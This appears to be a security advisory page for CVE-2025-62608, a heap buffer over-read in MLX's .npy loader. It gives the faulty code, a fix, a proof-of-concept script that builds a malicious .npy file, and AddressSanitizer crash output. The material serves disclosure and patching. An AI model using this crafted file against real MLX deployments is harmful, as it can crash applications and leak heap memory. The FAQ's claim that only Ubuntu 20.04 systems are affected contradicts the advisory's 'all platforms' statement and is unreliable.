CVE-2025-62608: MLX has heap-buffer-overflow in load()

Published Nov 21, 2025
·
Updated

Summary

Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.

Environment: - OS: Ubuntu 20.04.6 LTS - Compiler: Clang 19.1.7

Vulnerability

The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.

Location: mlx/io/load.cpp:268,276

Bug #1 (line 268): cpp std::string header(&buffer[0]); // stops at first null byte

Bug #2 (line 276): cpp bool colcontiguous = header[34] == 'T'; // No bounds check

Possible Fix

cpp // Line 268 std::string header(&buffer[0], headerlen);

// Line 276 if (header.length() < 35) throw std::runtimeerror("Malformed header");

PoC

bash pip install mlx

generate exploit cat > exploit.py << 'EOF' import struct magic = b'\x93NUMPY' version = b'\x01\x00' header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00norder': False, 'shape': (3,), }" header += b' ' (118 - len(header) - 1) + b'\n' with open('exploit.npy', 'wb') as f: f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff') EOF python3 exploit.py

python3 -c "import mlx.core as mx; mx.load('exploit.npy')"

AddressSanitizer Output (with instrumented build): ================================================================= ==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48 READ of size 1 at 0x503000000152 thread T0 #0 0x563345697c28 in mlx::core::load(std::sharedptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25 #1 0x563345698da1 in mlx::core::load(std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10 #2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poccrash.cpp:69:20 #3 0x7fbd4692c082 in libcstartmain /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16 #4 0x563342e1f1cd in start (/home/user1/mlx/fuzz/load/poccrash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)

0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145) allocated by thread T0 here: #0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poccrash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099) #1 0x5633456956fe in void std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>::Mconstruct<char const>(char const, char const, std::forwarditeratortag) /usr/lib/gcc/x8664-linux-gnu/9/../../../../include/c++/9/bits/basicstring.tcc:219:14 #2 0x5633456956fe in void std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>::Mconstructaux<char const>(char const, char const, std::falsetype) /usr/lib/gcc/x8664-linux-gnu/9/../../../../include/c++/9/bits/basicstring.h:251:11 #3 0x5633456956fe in void std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>::Mconstruct<char const>(char const, char const) /usr/lib/gcc/x8664-linux-gnu/9/../../../../include/c++/9/bits/basicstring.h:270:4 #4 0x5633456956fe in std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>::basicstring<std::allocator<char>>(char const, std::allocator<char> const&) /usr/lib/gcc/x8664-linux-gnu/9/../../../../include/c++/9/bits/basicstring.h:531:9 #5 0x5633456956fe in mlx::core::load(std::sharedptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15 #6 0x563345698da1 in mlx::core::load(std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10 #7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poccrash.cpp:69:20 #8 0x7fbd4692c082 in libcstartmain /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::sharedptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) Shadow bytes around the buggy address: 0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00 0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa =>0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa 0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==3179==ABORTING

Impact

- Attack vector: Malicious .npy file (model weights, datasets, checkpoints) - Affects: MLX users on all platforms who call the vulnerable methods with unsanitized input. - Result: Application crash + potential 13-byte heap leak

---

Credits: - Markiyan Melnyk (ARIMLABS) - Mykyta Mudryi (ARIMLABS) - Markiyan Chaklosh (ARIMLABS)

Other sources

MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.

MITRE

Affected Software

2 affected componentsFixes available
pip/mlx<=0.29.3
0.29.4
Ml-explore Mlx<0.29.4

Event History

Nov 21, 2025
Advisory Published
via GitHub·06:02 PM
Data Sourced
via GitHub·06:02 PM
DescriptionWeaknessAffected Software
CVE Published
via MITRE·06:56 PM
Data Sourced
via MITRE·06:56 PM
DescriptionWeakness
Data Sourced
via NVD·07:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-62608?

CVE-2025-62608 is classified as a high severity vulnerability due to its potential to cause crashes and information disclosure.

2

How do I fix CVE-2025-62608?

To mitigate CVE-2025-62608, upgrade the mlx package to version 0.29.4 or later.

3

What type of vulnerability is CVE-2025-62608?

CVE-2025-62608 is a heap buffer overflow vulnerability found in the loading of malicious NumPy .npy files.

4

What are the consequences of CVE-2025-62608?

Exploitation of CVE-2025-62608 can lead to application crashes or unauthorized information disclosure.

5

Which systems are affected by CVE-2025-62608?

CVE-2025-62608 affects systems running the mlx package version 0.29.3 or earlier on Ubuntu 20.04.6 LTS.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203